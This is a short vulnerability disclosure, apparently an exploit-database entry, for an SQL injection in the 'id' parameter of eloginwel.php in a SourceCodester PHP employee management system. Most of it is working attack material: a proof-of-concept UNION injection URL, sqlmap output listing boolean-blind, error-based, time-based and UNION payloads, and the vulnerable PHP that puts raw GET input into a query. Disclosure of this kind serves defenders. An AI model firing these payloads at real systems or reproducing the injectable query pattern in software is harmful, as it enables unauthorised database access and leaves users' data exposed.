SourceCodester Employee Management System eloginwel.php SQL Injection

Vendor Homepage:

https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html

Source Code Download:

https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip

Proof of Concept

```
http://192.168.88.195/ems/eloginwel.php?
id=1%20union%20select%20database(),user()--%20-
```

Sqlmap

```
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (7460=7460) THEN 1 ELSE (SELECT 8198 UNION
SELECT 2500) END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
    Payload: id=1 OR (SELECT 8464 FROM(SELECT COUNT(*),CONCAT(0x716b7a7671,
(SELECT (ELT(8464=8464,1))),0x717a717871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))EJGO)

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT
NULL,CONCAT(0x716b7a7671,0x6b6a7a51594264656a6c6943634c50584c41525a55695a696b424
8416a77426941504c68796c6172,0x717a717871)-- -
---
```

code

`/eloginwel.php` line 1-5,

```
<?php
    $id = (isset($_GET['id']) ? $_GET['id'] : '');
    require_once ('process/dbh.php');
     $sql1 = "SELECT * FROM `employee` where id = '$id'";
     $result1 = mysqli_query($conn, $sql1);
```